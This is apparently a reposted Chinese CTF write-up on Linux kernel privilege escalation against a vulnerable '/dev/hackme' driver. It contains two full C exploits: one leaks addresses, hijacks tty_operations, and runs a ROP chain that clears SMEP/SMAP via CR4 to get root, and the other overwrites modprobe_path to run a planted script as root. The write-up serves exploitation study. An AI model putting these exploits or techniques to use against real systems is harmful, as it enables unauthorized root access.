exp1
smep
:smep即用户数据不可执行,当 CPU 处于 ring0
模式时,执行用户空间的代码会触发页错误,系统根据CR4
寄存器的第20
位判断内核是否开启smep
,为1时开启,为0时关闭(第21位是SMAP位)。
smap
:smap用户数据不可访问。
通过控制cr4
寄存器为0x6f0
即可绕过。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
|
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> size_t vmlinux_base, off, commit_creds, prepare_kernel_cred; size_t user_cs, user_ss, user_sp, user_rflags; size_t raw_vmlinux_base = 0xffffffff81000000; size_t rop[0x100] = {0}; int fd; struct Heap{ size_t index; char *data; size_t len; size_t offset; }; void add( int index, size_t len, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; ioctl(fd, 0x30000, &heap); } void delete ( int index) { struct Heap heap; heap.index = index; ioctl(fd, 0x30001, &heap); } void edit( int index, size_t len, size_t offset, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; heap.offset = offset; ioctl(fd, 0x30002, &heap); } void show( int index, size_t len, size_t offset, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; heap.offset = offset; ioctl(fd, 0x30003, &heap); } void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ( "[+] save the state success!" ); } void get_shell() { if (getuid() == 0) { puts ( "[*] get root" ); system ( "/bin/sh" ); } else { puts ( "[-] get root error" ); sleep(3); exit (0); } } void get_root() { //commit_creds(prepare_kernel_cred(0)) void *(*pkc)( int ) = ( void *(*)( int ))prepare_kernel_cred; void (*cc)( void *) = ( void (*)( void *))commit_creds; (*cc)((*pkc)(0)); } int main() { save_status(); char buf[0x1000] = {0}; size_t fake_tty_struct[4] = {0}; size_t fake_tty_operations[35] = {0}; fd = open( "/dev/hackme" ,0); if (fd < 0) { puts ( "[-] open file error" ); sleep(3); exit (0); } add(0, 0x2e0, buf); // 0 add(1, 0x2e0, buf); // 1 add(2, 0x100, buf); // 2 add(3, 0x100, buf); // 3 delete (0); delete (2); show(3, 0x100, -0x100, buf); size_t heap_addr = (( size_t *)buf)[0] - 0x200; printf ( "[+] heap_addr=> 0x%lx\n" , heap_addr); int fd_tty = open( "/dev/ptmx" ,O_RDWR | O_NOCTTY); if (fd_tty < 0) { puts ( "[-] open ptmx error" ); sleep(3); exit (0); } show(1, 0x400, -0x400, buf); vmlinux_base = (( size_t *)buf)[3] - 0x625d80; printf ( "[+] vmlinux_base=> 0x%lx\n" , vmlinux_base); off = vmlinux_base - raw_vmlinux_base; commit_creds = off + 0xffffffff8104d220; prepare_kernel_cred = off + 0xffffffff8104d3d0; int i = 0; rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret; rop[i++] = 0x6f0; rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret; rop[i++] = 0; rop[i++] = ( size_t )get_root; rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret; rop[i++] = 0; rop[i++] = 0; rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret; rop[i++] = ( size_t )get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; add(2, 0x100, ( char *)rop); fake_tty_operations[7] = off + 0xffffffff810608d5; // push rax; pop rsp; ret; fake_tty_operations[0] = off + 0xffffffff810484f0; // pop rsp; ret; fake_tty_operations[1] = heap_addr; (( size_t *)buf)[3] = heap_addr + 0x100; delete (3); add(3, 0x100, ( char *)fake_tty_operations); edit(1, 0x400, -0x400, buf); write(fd_tty, "FXC" , 3); return 0; } |
exp2
mod_tree
:可以泄露驱动地址,当堆栈中找不到时可以来这里查找。
modprobe_path
:当我们执行一个非法文件时,就会以root
权限去执行modprobe_path
所指向的文件,通常是指向/sbin/modprobe
,如果改成我们创建的cat flag
的文件,那么就可以拿到flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
|
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> int fd; size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr; struct Heap{ size_t index; char *data; size_t len; size_t offset; }; void add( int index, size_t len, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; ioctl(fd, 0x30000, &heap); } void delete ( int index) { struct Heap heap; heap.index = index; ioctl(fd, 0x30001, &heap); } void edit( int index, size_t len, size_t offset, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; heap.offset = offset; ioctl(fd, 0x30002, &heap); } void show( int index, size_t len, size_t offset, char *data) { struct Heap heap; heap.index = index; heap.data = data; heap.len = len; heap.offset = offset; ioctl(fd, 0x30003, &heap); } void get_flag() { puts ( "[+] Prepare shell file." ); system ( "echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh" ); system ( "chmod +x /shell.sh" ); puts ( "[+] Prepare trigger file." ); system ( "echo -ne '\\xff\\xff\\xff\\xff' > /FXC" ); system ( "chmod +x /FXC" ); system ( "cat /proc/sys/kernel/modprobe" ); system ( "/FXC" ); system ( "cat /flag" ); sleep(5); } int main() { fd = open( "/dev/hackme" ,0); if (fd < 0) { puts ( "[-] open file error" ); sleep(3); exit (0); } char buf[0x1000] = {0}; add(0, 0x100, buf); // 0 add(1, 0x100, buf); // 1 add(2, 0x100, buf); // 2 add(3, 0x100, buf); // 3 add(4, 0x100, buf); // 4 delete (1); delete (3); show(4, 0x100, -0x100, buf); heap_base = (( size_t *)buf)[0] - 0x100; printf ( "[+] heap_addr=> 0x%lx\n" , heap_base); show(0, 0x200, -0x200, buf); vmlinux_base = (( size_t *)buf)[0] - 0x8472c0; printf ( "[+] vmlinux_base=> 0x%lx\n" , vmlinux_base); mod_tree = vmlinux_base + 0x811000; modprobe_path = vmlinux_base + 0x83f960; memset (buf, '\x00' ,0x100); (( size_t *)buf)[0] = mod_tree + 0x40; edit(4, 0x100, -0x100, buf); add(5, 0x100, buf); // 5 add(6, 0x100, buf); // 6 show(6, 0x40, -0x40, buf); ko_base = (( size_t *)buf)[3]; printf ( "[+] ko_base=> 0x%lx\n" , ko_base); delete (2); delete (5); getchar (); (( size_t *)buf)[0] = ko_base + 0x2400 + 0xc0; edit(4, 0x100, -0x100, buf); add(7, 0x100, buf); // 7 add(8, 0x100, buf); // 8 (( size_t *)buf)[0] = modprobe_path; (( size_t *)buf)[1] = 0x100; edit(8, 0x10, 0, buf); strncpy (buf, "/shell.sh\x00" , 0xa); edit(12, 0xa, 0, buf); get_flag(); return 0; } |
以上就是kernel劫持modprobe path内容详解的详细内容,更多关于kernel劫持modprobe path的资料请关注服务器之家其它相关文章!
原文链接:https://www.cnblogs.com/pwnfeifei/p/16230549.html